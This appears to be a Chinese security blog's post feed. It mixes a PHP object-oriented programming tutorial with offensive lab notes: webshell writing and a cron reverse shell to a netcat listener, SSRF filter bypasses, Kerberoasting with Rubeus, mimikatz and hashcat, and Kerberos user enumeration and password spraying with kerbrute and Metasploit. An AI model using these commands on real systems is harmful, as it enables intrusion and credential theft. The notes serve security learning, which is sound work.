将_后面的值进行 url 解码，复制值

发送请求抓包，把刚才解码的值写在后面并加入换行

放行后就已经把 webshell 写入到网站目录下了

# 计划任务反弹 shell

但是这个办法只能 centos 用 ubuntu 会乱码执行不了

选择 reverseshell

192.168.0.109 监听主机

/var/spool/cron/crontabs 目标主机计划任务目录也可能是 /var/spool/cron

生成命令后跟上面一样发送就行

监听 nc -lvp 1234

# ssrf 的绕过技巧

# @绕过

相当于请求的是 http://127.0.0.1:80

# 使用。来代替。号

# 本地回环地址

http://127.255.255.254

http://localhost

http://[::1]

# 利用短链接

https://www.fly63.com/php/shorturl/ 免费转换

# IP 的进制转换

比如转换成 16 进制

http://0x7f.0x0.0x0.0x0.0x1

vsphere虚拟化安全

2024-05-07T13:31:51.000Z

php审计sql注入

2024-05-06T06:17:18.000Z

PHP面向对象

2024-05-04T11:59:01.000Z

# 面向对象

面向对象编程（OOP）是一种编程范式，它以对象的概念为核心，将数据和操作封装在对象中。在面向对象编程中，程序被组织成彼此交互的对象集合，每个对象都可以包含数据（属性）和操作（方法）。这种方法使得代码更加模块化、可维护性更强，并且更易于理解和重用。

什么是对象？

例如：一台电视机，一辆汽车，一个苹果都是一个对象

小猫名字：aa, 性别：公，花色：橘色；会叫，会吃饭，会打闹
小狗名字：bb, 性别：公，花色：黑色；会叫，会吃饭，会打闹

对象的主要三个特性；

对象的行为：对象可以执行的操作，比如：叫，坐下就是行为。
对象的形态：对对象不同的行为是如何响应的，比如：颜色，大小，外型。
对象的表示：对象的表示就相当于身份证，具体区分在相同的行为与状态下有什么不同。

面向对象编程有以下几个基本概念：

类（Class）：类是对象的模板或蓝图，它定义了对象的属性和方法。类可以看作是一种用户自定义的数据类型。

对象（Object）：对象是类的实例，它是具体存在的数据结构，包含了类中定义的属性和方法。

封装（Encapsulation）：封装是将数据和操作封装在对象中的过程，通过将数据隐藏在对象内部，只暴露有限的接口给外部，实现了数据的保护和安全性。

继承（Inheritance）：继承是指一个类（子类）可以继承另一个类（父类）的属性和方法。子类可以通过继承和扩展来重用父类的代码，并且可以添加新的功能。

多态（Polymorphism）：多态允许不同类的对象对同一消息做出响应，提供了一种统一的接口以处理不同类的对象

# 类 class

类的定义

public 公有

protected 受保护

private 私有

	<?php
	class Animal{
	public $name = "花花";
	public $age = 20;
	public function catname($name){
	echo $name . "在吃饭.";
	}
	}
	$cat = new Animal;
	echo $cat->name;
	echo $cat->age;
	echo $cat->catname("小猫");
	?>

	<?php
	class Site {
	/* 成员变量 */
	public $url;
	public $title;

	/* 成员函数 */
	function setUrl($par){
	$this->url = $par;
	}

	function getUrl(){
	echo $this->url . PHP_EOL;
	}

	function setTitle($par){
	$this->title = $par;
	}

	function getTitle(){
	echo $this->title . PHP_EOL;
	}
	}
	$google = new Site;
	$taobao = new Site;
	$feishu = new Site;

	$google->setUrl("http://www.google.com");
	$taobao->setUrl("http://www.taobao.com");
	$feishu->setUrl("http://www.feishu.com");

	$google->setTitle("谷歌");
	$taobao->setTitle("淘宝");
	$feishu->setTitle("飞书");

	$google->getUrl();
	$google->getTitle();

	$taobao->getUrl();
	$taobao->getTitle();

	$feishu->getUrl();
	$feishu->getTitle();

	?>

# 类的方法和属性

	public $name = "花花";
	public $age = 20;
	#这两个就是属性
	#而函数 catname 就是方法
	public function catname($name){
	echo $name . "在吃饭.";
	}
	#在类中定义一个属性要用到 public 或者 var 不可以省略不写，但是定义函数时可以不写

# $this

代表自身的对象

	<?php
	class Animal{
	public $name = "花花";
	public $age = 20;
	public function catname(){
	echo $this->name . "在吃饭.";
	}
	}
	$cat = new Animal;
	$cat -> name="小环";
	echo $cat->catname();
	$dog = new Animal;
	$dog -> name="小花";
	echo $dog->catname();
	?>
	#去调用自身的属性name
	public $name = "花花";
	#属性也可以在类外更改，输出就是
	$cat -> name="小环";
	$dog -> name="小花";
	//小环在吃饭.小花在吃饭.

# PHP 构造函数

构造函数是一种特殊的方法。主要用来在创建对象时初始化对象，即为对象成员变量赋初始值，在创建对象的语句中与 new 运算符一起使用。创建对象时被调用

	<?php
	class Site {
	/* 成员变量 */
	public $url;
	public $title;

	/* 成员函数 */
	function getUrl(){
	echo $this->url . PHP_EOL;
	}
	function getTitle(){
	echo $this->title . PHP_EOL;
	}
	function __construct( $par1, $par2 ) {
	$this->title = $par1;
	$this->url = $par2;
	}
	function info()
	{
	echo "网站标题：$this->title 网站连接：$this->url" . PHP_EOL;
	}
	}
	$google = new Site("谷歌","www.google.com");
	$taobao = new Site("淘宝","www.taobao.com");
	$feishu = new Site("飞书","www.feishu.com");

	$google -> info();
	$taobao -> info();
	$feishu -> info();
	?>
	//输出
	网站标题：谷歌网站连接：www.google.com
	网站标题：淘宝网站连接：www.taobao.com
	网站标题：飞书网站连接：www.feishu.com

# 析构函数

析构函数 (destructor) 与构造函数相反，当对象结束其生命周期时（例如对象所在的函数已调用完毕），系统自动执行析构函数。

	<?php
	class MyDestructableClass {
	public $name;
	function __construct($par1) {
	print "构造函数\n";
	$this->name = $par1;
	}

	function __destruct() {
	print "销毁 " . $this->name . "\n";
	}
	}

	$obj = new MyDestructableClass("木马");
	?>
	//输出
	构造函数
	销毁木马
	$obj执行完毕后将自动执行__destruct

# 静态变量类常量

static 静态变量，self 输出静态变量

	<?php
	class Animal{
	public static $sleep = "去睡觉";
	public $name = "花花";
	public $age = 20;
	public function catname(){
	echo $this->name . "在吃饭.";
	}
	function xingwei(){
	echo self::$sleep;
	}
	function info2()
	{
	echo $this->name . self::$sleep .PHP_EOL;
	}
	}
	$cat = new Animal;
	$cat -> name="小猫";
	echo $cat->info2();
	$dog = new Animal;
	$dog -> name="小狗";
	echo $dog->info2();
	// 输出为：小猫去睡觉，小狗去睡觉
	?>

	//如果改变了$sleep这个静态变量，两个对象都会受到影响
	<?php
	class Animal{
	public static $sleep = "去睡觉";
	public $name = "花花";
	public $age = 20;
	public function catname(){
	echo $this->name . "在吃饭.";
	}
	function xingwei(){
	echo self::$sleep;
	}
	function info2()
	{
	echo $this->name . self::$sleep .PHP_EOL;
	}
	}
	$cat = new Animal;
	Animal::$sleep = "去洗澡";
	$cat -> name="小猫";
	echo $cat->info2();
	$dog = new Animal;
	$dog -> name="小狗";
	echo $dog->info2();
	// 输出为小猫去洗澡，小狗去洗澡
	?>

# 类常量

类常量跟静态变量很像但是类常量不能更改

使用场景对象公用一个属性

	<!-- 类常量 -->
	<?php
	class Animal{
	public static $sleep = "去睡觉";
	const up = "起床了";
	public $name = "花花";
	public $age = 20;
	public function catname(){
	echo $this->name . "在吃饭.";
	}
	function xingwei(){
	echo self::$sleep;
	}
	function info2()
	{
	echo $this->name . self::up .PHP_EOL;
	}
	}
	$cat = new Animal;
	Animal::$sleep = "去洗澡";
	$cat -> name="小猫";
	echo $cat->info2();
	$dog = new Animal;
	$dog -> name="小狗";
	echo $dog->info2();
	// 输出小猫起床了，小狗起床了
	// 类外调用类常量
	echo Animal::up;
	?>

# 静态方法

	//静态方法格式为和静态变量一样加一个static关键字
	public static function ez(){
	echo self::$sleep;
	}

	//静态方法调用静态方法
	<?php
	class Animal
	{
	public static $sleep = "静态变量";
	const up = "类常量";
	// 调用类常量
	public static function ez(){
	echo self::up;
	echo self::$sleep;
	}
	// 调用静态 ez 方法
	public static function xingwei(){
	echo self::ez();
	}
	}
	Animal::xingwei();// 输出类常量，静态变量
	?>

	//静态方法调用动态方法和动态变量
	<?php
	class Animal
	{
	public static $sleep = "静态变量";
	public $name = "动态变量";
	const up = "类常量";
	// 调用类常量
	public function ez(){
	echo self::up;
	echo self::$sleep;
	}
	// 调用动态 ez 方法和动态 name 变量
	public static function xingwei(){
	echo (new self)->ez();
	echo (new self)->name;
	}
	}
	Animal::xingwei();// 输出类常量，静态变量，动态变量
	?>

# 继承

在 PHP 中，一个类可以通过使用 extends 关键字来继承另一个类的方法和属性这是面向对象编程中的一个重要特性，它允许我们在一个已经存在的类的基础上创建新的类，当一个类继承另一个类时，子类会继承父类所有的 public 和 protected 的方法，属性和常量除非子类覆盖了父类的方法，被继承的方法都会保留其原有功能这有助于功能的设计和抽象，在实现类似的对象、增加新功能时，无须重复编写这些公用的功能

需要注意的是，PHP 不支持多重继承，一个类只能继承一个基类此外，子类无法访问父类的私有方法

下面是一个 PHP 类继承的例子

	<?php
	class Anima{
	public $name = "动物";
	protected $age = 10;
	private $sex = "雌性";
	}
	class dog extends Anima{

	}
	$dog = new dog;
	echo $dog->name;
	echo $dog->age;
	echo $dog->sex;
	// 这样运行会报错因为子类不可访问父类的私有方法 private 和私有变量，并且受保护的变量 protected 只能在类中访问不可以 new 出对象后访问
	// 继承过来的子类和父类是相同的，但是不一定都可以访问
	var_dump(new Anima);
	var_dump(new dog);//var_dump 只能打印出属性不能打印出方法

	动物object(Anima)#5 (3) {
	["name"]=>
	string(6) "动物"
	["age":protected]=>
	int(10)
	["sex":"Anima":private]=>
	string(6) "雌性"
	}
	object(dog)#5 (3) {
	["name"]=>
	string(6) "动物"
	["age":protected]=>
	int(10)
	["sex":"Anima":private]=>
	string(6) "雌性"
	}


	// 子类也会继承父类的构造函数，子类可以调用父类的方法也可以调用自己写的方法，父类不可调用子类里的方法
	<?php
	class Anima
	{
	public $name = "动物";
	protected $age = 10;
	private $sex = "雌性";

	public function __construct($name)
	{
	$this->name = $name;
	}
	public function info()
	{
	echo $this->name . "在吃饭". PHP_EOL;
	}
	}
	class dog extends Anima{
	public function ja(){
	echo $this->name ."在跑" . PHP_EOL;
	}
	}
	$dog = new dog("小狗");
	$dog->info();
	$dog->ja();
	/// 小狗在吃饭
	// 小狗在跑
	?>

	<?php
	// 父类
	class Animal {
	protected $name;
	public $colour;
	public $age;

	public function __construct($name, $colour, $age) {
	$this->name = $name;
	$this->colour = $colour;
	$this->age = $age;
	}

	public function getDescription($activity) {
	return "一只名叫{$this->name}的{$this->colour}小{$activity}，它今年{$this->age}岁。";
	}
	}

	// 子类
	class Dog extends Animal {
	public function __construct($name, $colour, $age) {
	parent::__construct($name, $colour, $age);
	}

	public function getActivity() {
	return "狗";
	}
	}

	class Cat extends Animal {
	public function __construct($name, $colour, $age) {
	parent::__construct($name, $colour, $age);
	}

	public function getActivity() {
	return "猫";
	}
	}

	$dog = new Dog("小黑", "黑色", 2);
	echo $dog->getDescription("狗") . "\n";

	$cat = new Cat("小白", "白色", 3);
	echo $cat->getDescription("猫") . "\n";
	?>
	/parent 是在 PHP 中用来引用父类的关键字。它通常用在子类中，用于调用父类的构造函数、方法或属性。

类方法属性重写 final 关键字

	//如果对父类继承过来的方法不满意是可以在子类更改的，父类里的方法不受影响
	<?php
	class Anima
	{
	public $name = "动物";
	protected $age = 10;
	private $sex = "雌性";

	public function __construct($name)
	{
	$this->name = $name;
	}
	public function info()
	{
	echo $this->name . "在吃饭". PHP_EOL;
	}
	}
	class dog extends Anima{
	public function ja(){
	echo $this->name ."在跑" . PHP_EOL;
	}
	public function info()
	{
	echo $this->name . "在睡觉". PHP_EOL;
	}
	}
	$dog = new dog("小狗");
	$dog->info();
	$dog->ja();
	// 小狗在睡觉
	// 小狗在跑
	?>

	//final防止重写
	<?php
	class Anima
	{
	public $name = "动物";
	protected $age = 10;
	private $sex = "雌性";

	public function __construct($name)
	{
	$this->name = $name;
	}
	final public function info()
	{
	echo $this->name . "在吃饭". PHP_EOL;
	}
	}
	class dog extends Anima{
	public function ja(){
	echo $this->name ."在跑" . PHP_EOL;
	}
	public function info()
	{
	echo $this->name . "在睡觉". PHP_EOL;
	}
	}
	$dog = new dog("小狗");
	$dog->info();
	$dog->ja();
	// 小狗在睡觉
	// 小狗在跑
	?>
	//在info方法前面加上final将会限制info被重写，就会报致命错误：无法重写中的最终方法Anima：：Info

# parent 调用父类方法和构造函数

	格式为parent::方法名 parent::__construct

	<?php
	class Anima
	{
	public $name = "动物";
	protected $age = 10;
	private $sex = "雌性";

	public function __construct($name)
	{
	$this->name = $name;
	}
	public function info2(){
	echo $this->name . "在洗澡". PHP_EOL;
	}
	public function info()
	{
	echo $this->name . "在吃饭". PHP_EOL;
	}
	}
	class dog extends Anima{
	public function ja(){
	echo $this->name ."在跑" . PHP_EOL;
	}
	public function info()
	{
	parent::info2();
	echo $this->name . "在睡觉". PHP_EOL;
	}
	}
	$dog = new dog("小狗");
	$dog->info();
	//$dog->ja();
	// 小狗在睡觉
	// 小狗在跑
	?>
	//在info方法中调用了父类的info2方法，打印为小狗在洗澡，小狗在睡觉

	//调用父类的构造函数
	class Anima
	{
	public $name;
	protected $age = 10;
	private $sex = "雌性";

	public function __construct($name)
	{
	$this->name = $name;
	}
	public function info2(){
	echo $this->name . "在洗澡". PHP_EOL;
	}
	public function info()
	{
	echo $this->name . "在吃饭". PHP_EOL;
	}
	}
	class dog extends Anima{
	public function __construct($name){
	echo "dog的构造函数";
	}
	public function ja(){
	echo $this->name ."在跑" . PHP_EOL;
	}
	public function info()
	{
	parent::info2();
	echo $this->name . "在睡觉". PHP_EOL;
	}
	}
	$dog = new dog("小狗");
	$dog->info();
	//如果是这样写将会输出在吃饭，在睡觉因为dog自己写了构造函数父类的将不会生效$name的参数也就用不到了所以要在dog构造函数里添加parent::__construct($name);
	//在dog的构造函数中我们也可以添加参数，如果添加了参数new对象的时候没有传参数就会报错，可以给__construct($name,$age,$age2="20")$age2一个默认的参数这样不传入参数就默认是20
	<?php
	class Anima
	{
	public $name;
	protected $age = 10;
	private $sex = "雌性";

	public function __construct($name)
	{
	$this->name = $name;
	}
	public function info2(){
	echo $this->name . "在洗澡". PHP_EOL;
	}
	public function info()
	{
	echo $this->name . "在吃饭". PHP_EOL;
	}
	}
	class dog extends Anima{
	public function __construct($name,$age,$age2="20"){
	parent::__construct($name);
	echo "dog的构造函数" . $age . $age2 . PHP_EOL;
	}
	public function ja(){
	echo $this->name ."在跑" . PHP_EOL;
	}
	public function info()
	{
	parent::info2();
	echo $this->name . "在睡觉". PHP_EOL;
	}
	}
	$dog = new dog("小狗","10");
	$dog->info();
	//$dog->ja();
	// 小狗在睡觉
	// 小狗在跑
	?>

# 接口

使用接口 (interface)，可以指定某个类必须实现哪些方法，但不需要定义这些方法的具体内容。

接口是通过 interface 关键字来定义的，就像定义一个标准的类一样，但其中定义所有的方法都是空的。

接口中定义的所有方法都必须是公有，这是接口的特性。

要实现一个接口，使用 implements 操作符。类中必须实现接口中定义的所有方法，否则会报一个致命错误。类可以实现多个接口，用逗号来分隔多个接口的名称。

	<?php
	interface AnimalInterface2{
	public function play();
	}
	interface AnimalInterface{
	const up = "起床了";
	public function eat();
	public function sleep();
	public function run();
	}
	class Dog implements AnimalInterface, AnimalInterface2{
	public function eat(){
	echo "狗在吃";
	}
	public function sleep(){
	echo "狗在睡觉";
	}
	public function run(){
	echo "狗在跑";
	}
	public function play(){
	echo "狗在玩";
	}
	}
	class Cat implements AnimalInterface{
	public function eat(){
	echo "猫在吃";
	}
	public function run(){
	echo "猫在跑";
	}
	public function sleep()
	{
	echo "猫在睡觉";
	}
	}
	$dog = new Dog();
	$cat = new Cat();
	$dog->eat();
	$dog->sleep();
	$dog->run();
	$dog->play();
	$cat->run();
	$cat->sleep();
	$cat->eat();
	?>
	//一个类如果引用了一个接口就必须用到接口里的所有方法不然会报错，而且调用的方法不可以更改必须使用接口里的规范，常量可以不使用，调用两个接口接口名之间用逗号隔开

# 抽象类和抽象方法

任何一个类，如果它里面至少有一个方法是被声明为抽象的，那么这个类就必须被声明为抽象的。

定义为抽象的类不能被示例化。

被定义为抽象的方法只是声明了其调用方式（参数），不能定义其具体的功能实现。

继承一个抽象类的时候，子类必须定义父类中的所有抽象方法；另外，这些方法的访问控制必须和父类中一样（或者更为宽松）。例如某个抽象方法被声明为受保护的，那么子类中实现的方法就应该声明为受保护的或者公有的，而不能定义为私有的。

	abstract class Animal{}//抽象类的定义
	abstract function doSomething();//抽象方法
	<!-- 抽象类 -->
	<?php
	abstract class Animal{
	abstract public function doSomething();
	abstract public function bathe();
	}
	class Baby extends Animal{
	public function __construct($name){
	$this->name = $name;
	}
	public function bathe(){
	return $this->name . "在洗澡" . PHP_EOL;
	}
	public function doSomething(){
	return $this->name . "在玩耍" . PHP_EOL;
	}
	}
	$baby = new Baby("宝宝");
	echo $baby->doSomething();
	echo $baby->bathe();

	// 在抽象类中也可以写构造函数
	<?php
	abstract class Animal{
	public function __construct($name){
	$this->name = $name;
	}
	abstract public function doSomething();
	abstract public function bathe();
	}
	class Baby extends Animal{

	public function bathe(){
	return $this->name . "在洗澡" . PHP_EOL;
	}
	public function doSomething(){
	return $this->name . "在玩耍" . PHP_EOL;
	}
	}
	$baby = new Baby("宝宝");
	echo $baby->doSomething();
	echo $baby->bathe();

# 接口抽象类区别

接口（Interface）和抽象类（Abstract Class）是面向对象编程中常用的两种机制，它们有着一些相似之处，但也有着明显的区别：

相似之处：

都可以包含方法的声明：接口和抽象类都可以包含方法的声明，但在接口中，这些方法都是抽象的，而在抽象类中，可以包含抽象方法和非抽象方法。

区别：

实现方式：
- 接口：接口中的方法都是抽象的，没有方法体，只包含方法的签名。类通过实现接口来承诺实现接口中声明的所有方法。
- 抽象类：抽象类可以包含抽象方法和非抽象方法。抽象方法只有声明而没有具体实现，而非抽象方法可以有具体的实现。子类继承抽象类后，必须实现所有抽象方法，但可以选择性地覆盖非抽象方法。
单继承 vs 多实现：
- 抽象类：PHP 中的类是单继承的，一个类只能继承自一个抽象类（或具体类），但可以实现多个接口。
- 接口：接口支持多继承，一个类可以实现多个接口，从而具备多种类型的行为。
目的和使用：
- 接口：主要用于定义类之间的契约，提供了一种多态性的实现方式，可以让不相关的类实现相同的行为。
- 抽象类：主要用于封装类的公共行为，提供了一种代码重用的机制，可以在其中定义一些通用的方法，并在子类中进行扩展和实现。
成员变量：
- 接口：不能包含成员变量，只能包含方法的声明。
- 抽象类：可以包含成员变量，也可以包含方法的声明和具体实现。

# 关键字 trait 代码复用

解决单一继承问题

可同时使用多个 trait 用到 use 关键字

trait 中不可有类常量，不可被实例化

	<?php
	trait a{
	public function a(){
	echo "方法A";
	}
	}
	trait b{
	public function b(){
	echo "方法B";
	}
	}

	class c{
	use a,b;
	}

	$c = new c();
	$c -> a();
	$c -> b();
	// 打印出方法 A，方法 B

	//trait 同名方法重命名
	<?php
	trait a{
	public function ad()
	{
	echo "方法A";
	}
	}

	trait b{
	public function ad()
	{
	echo "方法B";
	}
	}

	class c
	{
	use a,b{
	// 使用 trait a 中的方法 ad;
	a::ad insteadof b;
	// 重命名方法 ad 为 ad2;
	b::ad as ad2;
	}
	}

	$c = new c();
	$c->ad();
	$c->ad2();

命名空间

2024-05-04T11:48:14.000Z

# php 命名空间

命名空间（Namespace）在 PHP 中是一种用来解决命名冲突的机制，它允许你将相同名字的类、函数、常量等组织到不同的逻辑组中，从而避免了命名冲突，提高了代码的可读性和可维护性。

在 PHP 中，使用 namespace 关键字来定义命名空间，例如：

	<?php
	namespace mynamesp;
	class mynamesp {
	}
	function myfunc(){
	}
	const myfunc1 = "myfunc";

当你要使用命名空间中的类、函数或常量时，可以使用完全限定名称（Fully Qualified Name）或相对名称（Relative Name）来引用，例如：

	$obj = new \mynamesp\mynamesp();
	\mynamesp\myfunc();
	echo \mynamesp\myfunc1;

	// 使用相对名称
	namespace mynamesp;

	$obj = new myclass();
	myfunc();
	echo myfunc1;

在使用相对名称时，PHP 会根据当前命名空间的上下文来解析名称。如果要引用当前命名空间之外的内容，可以使用 use 关键字来导入其他命名空间的符号，例如：

	namespace mynamesp;

	use AnotherNamespace\AnotherClass;

	$obj = new AnotherClass();

php函数

2024-05-04T11:11:40.000Z

# 函数

	#创建一个函数function
	<?php
	function myname()
	{
	$a = 1;
	$b = 2;
	echo $a + $b;
	}
	myname();
	?>

	#添加参数
	<?php
	function myabc($g,$k)
	{
	echo $g + $k;
	}
	myabc(1,3);
	?>
	#返回值
	<?php
	function aaa($cc,$bb)
	{
	$nn=$cc+$bb;
	return $nn;
	}
	echo aaa(44,33);
	?>

	#变量函数，就是可以将函数名存储在一个变量中然后通过该变量来调用函数。
	<?php
	function admin()
	{
	echo "root";
	}
	function passwod()
	{
	echo "123456";
	}
	$root = "admin";
	$root(); //root
	$root = "passwod";
	$root(); //123456
	?>

php循环

2024-05-04T10:47:09.000Z

# while 循环

	while (条件)
	{
	要执行的代码;
	}
	一直循环执行代码直到条件不成立

	<?php
	$k = 1;
	while ($k < 10) {
	echo $k;
	$k++;
	}
	#如果 1 小于 10 就循环执行代码，$k++ 每执行一次 k 自加 1 直到 k 大于等于 10 停止循环

# do…while

	do
	{
	要执行的代码;
	}
	while (条件);

	<?php
	$h = 1;
	do {
	$h++;
	echo $h;
	} while ($h < 10);
	?>
	#do...while 语句会至少执行一次代码，然后检查条件，只要条件成立，就会重复进行循环。

# for 循环

	for (初始值; 条件; 增量)
	{
	要执行的代码;
	}

	<?php
	for ($l = 1; $l < 20; $l++){
	echo $l;
	}

# foreach 循环

	遍历数组
	foreach ($array as $value)
	{
	要执行代码;
	}


	foreach ($array as $key => $value)
	{
	要执行代码;
	}

	<?php
	$d = ['a', 'b', 'c', 'd'];
	foreach ($d as $f ) {
	echo $f;
	}
	?>

	<?php
	$d = ['a', 'b', 'c', 'd'];
	foreach ($d as $key => $value) {
	echo "key = $key" . "value = $value" . "<br>";
	}

Kerberoasting攻击

2024-03-12T10:38:16.000Z

# SPN

服务主体名称（Service Principal Name，简称 SPN）是服务实例的唯一标识符 Kerberos 身份验证使用 SPN 将服务实例与服务登录帐户相关联。这样，即使客户端没有帐户名称，客户端应用程序也能请求帐户的服务身份验证如果在计算机的整个目录林上安装多个服务实例，那么每个实例都必须有自己的 SPN

就是服务实例注册到域控中的一个标识，域控用 SPN 来表示是那个服务，一个账户可以有多个 SPN 但是一个 SPN 只能有一个账户

SPN 有两种，一是注册在 AD 上机器帐户 (Computers) 下，另一种注册在域用户帐户 (Users) 下。

当一个服务的权限为 Local System 或 Network Service，则 SPN 注册在机器帐户 (Computers) 下。
当一个服务的权限为一个域用户，则 SPN 注册在域用户帐户 (Users) 下。

setspn -X 查询重复的SPN
setspn -Q */* 查看当前域内所有的SPN
setspn -T yunyi.io -Q */* 查看指定域内所有的SPN
setspn -D MSSQLvc/12server4.yunyi.io:1433 sqladmin 删除spn
setspn -A MSSQLvc/12server4.yunyi.io:1433 sqladmin 注册一个spn,在12server上为sqladmin用户注册SPN服务

MSSQLvc/12server4.yunyi.io:1433是你要注册的SPN 1433是服务端口，sqladmin是启动SQL Server实例服务的帐户的名称

# Kerberosast

Kerberosast 攻击利用了 TGS_REP 阶段在这个阶段 TGS 返回的 ST 是由服务账户 hash 加密的，我们获取到 ST 后如果服务账号密码简单

并且使用 RC4-HMAC_MD5 加密因为这个加密比较容易爆破，我们就可以对 ST 穷举获取到服务账号的明文密码

利用的过程为：

第一步找到 SPN 服务

第二步请求指定 SPN 的 ST 票据

第四步导出 ST

第五步爆破

# 发现 SPN

# RiskySPN

这款工具可以发现弱密码易受攻击的 SPN，自动去除 krbtgt 用户的 SPN 服务因为这个用户因为当前用户密码是随机的不固定的 128 位字符不可能爆破出来

	Import-Module .\RiskySPNs.psm1
	Find-PotentiallyCrackableAccounts 搜索脆弱Spn找到脆弱的帐户
	Export-PotentiallyCrackableAccounts 产生全deatiled报告有关脆弱的帐户

# kerberoast-GetUserSPNs

kerberoast 工具集中的 GetUserSPNs.psl 和 GetUserSPNs.vbs 用于检测域中的 SPN

	Import-Module .\GetUserSPNs.ps1
	cscript .\GetUserSPNs.vbs

# PowerView

PowerSpolit 中的 PowerView.psl 脚本

	Import-Module .\PowerView.ps1
	Get-NetUser -SPN

# 请求 SPN

查询过滤完就该去请求有价值的 SPN 了

# Rubeus 请求 spn

Rubeus.exe kerberoast请求注册域用户下所有SPN
Rubeus.exe kerberoast /format:john /outfile:hash.txt 请求后输出成hash
Rubeus.exe kerberoast /spn:MSSQLSvc/12servser4.yunyi.io:1433 /format:john /outfile:hash2.txt 请求指定的spn并输出

# mimikatz 请求票据

kerberos::ask /target:MSSQLSvc/12servser4.yunyi.io:1433

# PowerShell 命令请求

	Add-Type -AssemblyName System.IdentityModel 请求服务票据
	klist列出服务票据

# 导出票据

# mimikatz 导出

Rubeus 导出

Rubeus.exe kerberoast /format:john /outfile:hash.txt 请求后输出成has

# 破解票据

# hashcat 破解

将刚才 Rubeus 导出的 hash 拿到本地进行离线爆破

hashcat -m 13100 hash.txt pass.txt --force

hashcat hash.txt --show

# tgscrack

先用 extractServiceTicketParts.py 脚本对 mimikatz 导出来的票据进行转换

python2 extractServiceTicketParts.py MSSQLSvc\~12servser4.yunyi.io\~1433-YUNYI.IO.kirbi > hash2.txt

接着用 tgscrack.go 破解

go run tgscrack.go -hashfile hash2.txt -wordlist pass.txt

# kerberoast.py

kerberoast 工具集里的脚本

https://github.com/nidem/kerberoast/blob/master/kerberoast.py

python2 kerberoast.py pass.txt MSSQLSvc\~12servser4.yunyi.io\~1433-YUNYI.IO.kirbi

# Kerberosast 防御

设置高强度密码定期修改密码

尽可能不要使用 RC4_HMAC 加密使用更安全的 AES256_HMAC 加密

给服务账号的权限尽量不要太高

域用户枚举密码喷洒

2024-03-09T07:47:33.000Z

什么是密码喷洒

密码喷洒（密码喷洒攻击）是指攻击者使用常见密码试图访问一个域上的多个帐户。攻击者可以使用常见弱密码列表（例如 “123456” 或 “password1”）在一次攻击中访问多个帐户，在我们获得一个域用户的密码时可以用这一个密码去尝试登陆其他账户

其实就是内网信息收集后，用同一个密码去爆破不同的用户名，去碰撞。

# 用户枚举

做密码喷洒肯定是要先确定有哪些账号我们可以利用 Kerberos 错误代码进行判断

抓取认证阶段的数据包分析

图中 cname 为认证用户名

在 AS-REQ 数据包中三种状态的错误代码分别为：

KDC_ERR_PREAUTH_REQUIRED-需要额外的预认证(启用)
KDC_ERR_CLIENT_REVOKED-客户端凭证已被吊销(禁用)
KDC_ERR_C_PRINCIPAL_UNKNOWN-在Kerberos数据库中找不到客户端

可以看到用户存在的为 KDC_ERR_PREAUTH_REQUIRED

用户不存在的为 KDC_ERR_C_PRINCIPAL_UNKNOWN

# kerbrute 工具枚举

	kerbrute_windows_amd64.exe userenum --dc 10.10.10.137 -d yunyi.io user.txt
	userenum 用户枚举模式
	dc 域控ip
	d 域名
	user.txt 指定的字典

可看到图中有 test,yunyi,yunyi1,test1,test12 用户在真实环境中可以搜集各种当前环境的信息创建一个字典成功率更高

# msf 模块枚举

	use auxiliary/gather/kerberos_enumusers
	set domain yunyi.io 域名
	set rhosts 10.10.10.137 域控ip
	set user_file hc/user.txt 设置枚举用户字典

枚举出五个用户

# pyKerbrute 枚举

EnumADUser.py <域控制地址> <域名称> <文件> <模式>
python2 EnumADUser.py 10.10.10.137 yunyi.io user.txt tcp
python2 EnumADUser.py 10.10.10.137 yunyi.io user.txt udp模式也可以

# 密码喷洒

枚举出了用户就该尝试登陆了，针对一个用户用不同密码爆破因为管理员可能会设置锁定，为了防止账号被锁可以用单个密码去登陆多个账户

# kerbrute

kerbrute_windows_amd64.exe passwordspray --dc 10.10.10.137 -d yunyi.io user.txt 123456
kerbrute_windows_amd64.exe passwordspray --dc 10.10.10.137 -d yunyi.io user.txt YUNyi123
--dc 域控IP
-d 域名
passwordspray 密码喷洒模式
12346 YUNyi123密码
user.txt 存在的域用户名

可见枚举出 test yunyi1 账号的密码为 123456

test yunyi test1 为 YUNyi123

有时管理员也可能会设置为不锁定账户这时也可以进行单个账户爆破密码

kerbrute_windows_amd64.exe bruteuser --dc 10.10.10.137 -d yunyi.io pass.txt test

pass.txt 为密码字典账号 test

抓包分析

第一张图 test12ASREQ 包

第二张 test12ASREP 包

账号存在密码正确返回

错误的返回包

# pyKerbrute

https://github.com/3gstudent/pyKerbrute

ADPwdSpray.py <域控制地址> <域名称> <文件> <密码类型> <数据> <模式>
python2 ADPwdSpray.py 10.10.10.137 yunyi.io user.txt clearpassword YUNyi123 tcp
python2 ADPwdSpray.py 10.10.10.137 yunyi.io user.txt clearpassword 123456 tcp
python2 ADPwdSpray.py 10.10.10.137 yunyi.io user.txt ntlmhash 161cff084477fe596a5db81874498a24 tcp hash也是可以的

# DomainPasswordSpray…psl

DomainPasswordSpray…psl 也可以进行密码喷洒攻击，该 PowerShell 脚本需要在域内机器上执行，默认情况下该脚本是利用 LDAP 从域中导出用户列表，去除被锁定的用户，用指定的密码进行喷洒。

	Import-Module .\DomainPasswordSpray.ps1
	Invoke-DomainPasswordSpray -Password 123456
	Invoke-DomainPasswordSpray -Password YUNyi123
	Invoke-DomainPasswordSpray -Userlist user.txt -Domain yunyi.io -password 123456 指定用户列表

BloodHound工具

2024-03-08T08:46:43.000Z

BloodHound 是一个基于单页 JavaScript 网页应用程序，构建在 Linkurious 之上，使用 Electron 编译，由 C# 数据收集器提供数据给 Neo4j 数据库。它利用图论来揭示 Active Directory 或 Azure 环境中隐藏且常常无意的关系

攻击者可以使用 BloodHound 轻松识别复杂的攻击路径，这些路径在其他情况下很难快速识别。防御者也可以使用 BloodHound 来识别并消除这些攻击路径。无论是蓝队还是红队，都可以使用 BloodHound 更深入地了解 Active Directory 或 Azure 环境中的权限关系

# Neo4j 数据库

apt-get install neo4j

安装成功后启动

neo4j start

浏览器访问

Host : http://localhost:7474
Username : neo4j
Password : neo4j

# 安装 BloodHound

https://github.com/BloodHoundAD/BloodHound/releases

安装完成后到目录下执行 ./BloodHound --no-sandbox

输入 neo4j 设置的账号密码就可以进来了

# 数据收集

BloodHound 有；两个版本采集工具

SharpHound 是官方的数据收集器，用于 BloodHound。这是写的 C# 和使用本地 Windows API 职能和 LDAP 名字空间的功能收集的数据域控制器和加入域的 windows 系统。

